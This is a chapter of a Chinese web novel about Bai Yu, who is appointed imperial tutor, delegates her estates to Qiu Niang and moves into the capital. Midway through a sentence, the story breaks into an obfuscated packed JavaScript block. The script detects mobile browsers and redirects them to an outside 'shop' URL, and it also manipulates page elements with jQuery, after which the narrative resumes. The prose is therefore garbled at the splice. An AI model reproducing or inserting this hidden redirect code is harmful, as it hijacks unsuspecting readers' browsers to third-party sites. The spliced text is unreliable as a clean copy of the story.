翌日一早。
“一会儿随我去醉仙楼一趟。”白羽准备去醉仙楼找后厨的管事秋娘。接下来庄子上的事情她准备让秋娘负责,秋娘此人胆子大,性子坚毅又不失圆滑,心思细腻,有大局观,正适合代她管着庄子的事。
而她,她准备尽快离开安都,此间既已事了,还是回平阳山的好。至于与陆晏那边的合作,一并交给秋娘和魏天处理。
“那还回来吗?”燕清问道。
白羽默了默,眼神微闪,良久才轻声说道:“大概不会回来了。”她不能耽误陆行川,还是离他远一点的好。
只是她打算的好好的,陆晏却像是猜准了她的心思似的,恰好赶在她出门前遣人送来了圣旨。
“奉天承运皇帝,诏曰:白羽于朕危难之际,挺身而出,救驾,平叛,献宝有功,特敕封为永安侯,赐安都城内府邸一座,良田百亩,金银布匹若干,另任命白羽担任太傅一职,担教导皇子、公主之责,钦此。”
宣旨太监将圣旨交于她手中,恭维了几句便回去复命。
白羽将圣旨放在一边,无奈的叹了口气。她拿过房契和地契翻看了起来,府邸位置就在公主府对面,地契则是在她之前买的那几个庄子附近。
只是……这太傅是什么鬼?
陆晏是从哪里看出她适合当太傅的?还是教导太子和公主。
这道圣旨一下,势必会在朝堂上引起波澜。
“主子,那我们……”燕清立在一旁,也是一脸的一言难尽,真是计划赶不上变化。
“先去醉仙楼。”白羽深吸了一口气,将圣旨收了起来。
秋娘的事还是按原计划进行,除却与陆晏的合作,现在还多了一百亩良田,她一个人真的顾不过来。
在醉仙楼用过午膳,白羽将秋娘喊进了包厢。
“东家,可是有事要吩咐秋娘?”秋娘站在桌边,恭敬的问着。
“嗯。”白羽笑着颔首,“说来话长,你先坐下,不必一直站着。”
秋娘只是犹豫了一下,便依言坐了下来,她认为东家的话还是要听的。
见她落座,白羽才开口说道:“近日你从后厨的人里选一个厨娘出来,仔细培养一下让她接替你的位置。”
“东家,可是秋娘哪里做的不好?”秋娘急切的开口问道,双手紧紧的握在一起,看起来有些紧张。
“不用紧张,你做的很好。”白羽看着她局促的模样,眉眼弯着,轻声安抚道,“明年开春,庄子上会扩大作物的种植,在供应醉仙楼的同时还会单独售卖,到时会在醉仙楼隔壁开几间铺子。我想把庄子还有铺子交给你负责,月银十两外加铺子半成的红利。”
这个时代,一个三口之家一年所消耗的米粮要花的银子也不过三四两,白羽自认她给出的十两月银已经算是丰厚了。
十两?还有半成红利?要知道她在醉仙楼后厨做管事的月银是五两,这就已经让不少人羡慕,她们的东家实在是太好了!
秋娘呆呆的坐在那里,眼睛眨呀眨的,似乎是被这个大馅饼给砸晕了。
白羽抬手在她眼前晃了晃,看着她可爱的模样,颇有些好笑。
“秋娘?你愿意做?”
“愿意,东家我愿意的。”秋娘回过神,一个劲的点头道。圆圆的杏眼里闪着激动的泪花。
“怎么还哭了?”白羽收回手,看着她不禁打趣道。
“没事东家,我就是太高兴了,秋娘谢主子信任和栽培。”说着,她抬手用衣袖将眼角的泪珠擦干净,连忙起身朝白羽施了一礼,面上露出几分赧然。
“我记得你当初说过你识字?算学呢?可有学过?”白羽边抬手示意她坐下,边继续开口问道。
闻言,秋娘轻轻点头,回答:“识字的,少时家中还算宽裕,读过几年书,算学也有学过,平日里后厨的采购消耗我也暗中都有计算。”
虽然醉仙楼的账目不需要她来管,但后厨所有用料的采购及消耗,她都有悄悄计算过,就是怕有手脚不干净的贪了去。好在大家都能拎得清,至今尚未发现有贪墨的事情发生。
东家待她们这般好,若是还有人想着占东家的便宜,多少会让人寒心。
白羽从燕清随身背着的挎包里掏出了三本书,一本上面写着《算术学》,一本写着《新式记账法》,最后一本则写着《做好掌柜二三事》。
她将这三本书都递给了秋娘,并交代道:“你回去时好好阅读这三本书,有不懂的暂且记下,我每隔七日会来醉仙楼一趟,到时你再来问我。”
这三本书是她在之前教景王妃洛湘儿的基础上重新编写的,可谓是集她所学之大成,实用非凡。
“是,东家。我会好好看的。”秋娘知道,这是东家给她成长的机会,她要珍惜,一定要努力把握住,将来好成为东家的左膀右臂。
三日后,白羽吩咐燕清,让她安排人将魏关明先一步送往了平阳山,因为陆晏直接派了宫里的人来帮她搬家。跟着一起来的还有陆昙和陆景,就连十四岁的陆易也跟了来,张口就叫了她一声老师。
好吧,他也是个少年皇子,是该她这个太傅一起教导。
这里面最高兴的莫过于陆昙,毕竟白羽新家的位置就在她府邸的对面,这样一来她们就可以经常见面了。
对于她能搬进安都城内,陆景也很是满意,他的王妃洛湘儿好几次都提到想来见她,但碍于要出城,白羽事情又忙,怕到了之后扑空,便只能先作罢,想着等什么时候约好时间再来。
现如今好了,白羽搬进皇城内,各家的府邸都隔的不远,相互串门极为方便。
陆易则是被陆晏喊来的,他这个弟弟跟他们几个并非一母所出,他的母妃齐太妃是先帝四处征战时纳的妾室。先皇驾崩后,他便开府与他母妃一起居住。
因着要回平阳山,白羽原本没有打算搬进城里,现在看着院子里的三个皇亲贵胄,她知道这家她不搬也得搬了。既如此,她也不打算跟他们客气,直接双手叉腰,亲自指挥着他们几个帮着收拾东西。
“老师这是什么?”陆易拿着一张图纸过来,怯生生的问道。这是他收拾书架上的书时,从一本农书里掉出来的,图上所画的似乎是一把犁,但是又跟他以前见过的不太一样。
白羽朝图纸上瞥了一眼,道:“是曲辕犁,犁地用的。”
“曲辕犁?”陆易不解,但他知道现在百姓所用的犁并不是这样的。
“等以后上课时你再来问,先收拾东西。”白羽朝他说道。
“知道了,老师。”说完,陆易便将图纸放到了身后的一个大木箱里,木箱已经放满,全都是书籍,而这装书的木箱足有十几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019230|192239||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个。书籍的种类更是五花八门,从话本子到地理志应有尽有。
难怪皇兄会请她来当太傅,老师果然是博览群书。
“白羽,你的那套盔甲皇兄已经派人送到了新宅子里。”陆景一边将箱子的盖子合上一边说着,“放心,铠甲上的血渍都已让浣衣局清洗干净。”
陆昙在一旁听见,也连忙开口补充:“皇嫂还让尚衣局给你新做了一些衣裙,日常穿戴和便于习武的都有。你那日穿的那套红衣染了血渍,洗不掉,皇嫂说就不要了。”
“哦,知道了。”白羽答应着。那身衣服和盔甲是李文正造反当日,陆晏让人从宫里拿来给她的。她原本以为是他为自己的准备的,却没想到是送来给她穿的。
她更没有想到的是,陆晏竟然早已命人替她备好了上阵杀敌的盔甲。这套盔甲的样式与她过去所穿的那一套几乎完全相同,但在材质上却远胜从前,真的是有心了。
只可惜,她恐怕今后很难再踏上战场了。如今最重要的还是要保重身体,毕竟身体才是本钱,若不如此,将来又怎能舒服的躺平,享受清闲生活呢?
“我还听说钱金玉的身子已经好转了,经过这一遭,差点要了他一条命,若是西昌侯知道此事,怕是能直接回来撕了李文正。”
白羽十分赞同陆景的话,钱孙虎宝贝这个儿子宝贝的不行,若是知道了此事,必然会勃然大怒。
想必陆晏已经把消息快马加鞭的送去了函玉关,希望盛怒之下的钱孙虎,能够将赫连辞那厮拦在关内。
“对了,皇兄让我告诉你,说是昨日收到边关来的战报,再有一个月陆行川就会回来,说是西羌突然退兵了。”
“西羌突然退兵?”白羽歪头看向陆景问道。
陆景点点头:“对,皇兄是这么说的。”
白羽收拾书本的手一顿,皱着眉暗自忖道:难道钱金玉被抓,李文正造反的事西羌也有参与?若是北戎和西羌联合在一起,这对大乾来说可不是件好事。
看来有必要去找陆晏,让他督促一下火器的研制进度,以备不时之需。不过,如今天气日渐寒冷,眼下倒不必过于担忧。但需要警惕的是来年天气回暖之后,他们可能会有所动作,所以还是要提前做好防备。
还有陆行川也要回来……
想到这里,她攥着书本的手指微微用力,紧抿了下唇,心道:过几日就跟陆晏提,她要回平阳山治病。
“白羽姐姐,你说我学习医术如何?”陆昙悄悄站到白羽的身侧,轻声问道。
“学医?”白羽回过神,扭头看着她期待的目光,眸子微弯,“怎么突然想学医了?”
“也不是突然……”陆昙整理着手中的书籍,有一本历代人物志放反了都没察觉,“就是觉得你们都有一技之长,或精于武艺,或长于谋略,而我除了诗赋好像一无所长。就像这次皇兄遇险,我都帮不上忙,只能干着急,还有上次,要不是恰巧遇到你,那些流民……。”
听完她的话,白羽有几分猜到了她的想法。她自幼被父兄保护的很好,无论何事都不需要她亲自去安排,亲自去做,当了公主之后更是如此。
经过这两次的事情,她突然发现离了她的父兄,她好像什么都做不好,甚至连自保的能力都没有,就连亲事都有可能被权力裹挟,所以她的内心开始迷茫,困惑。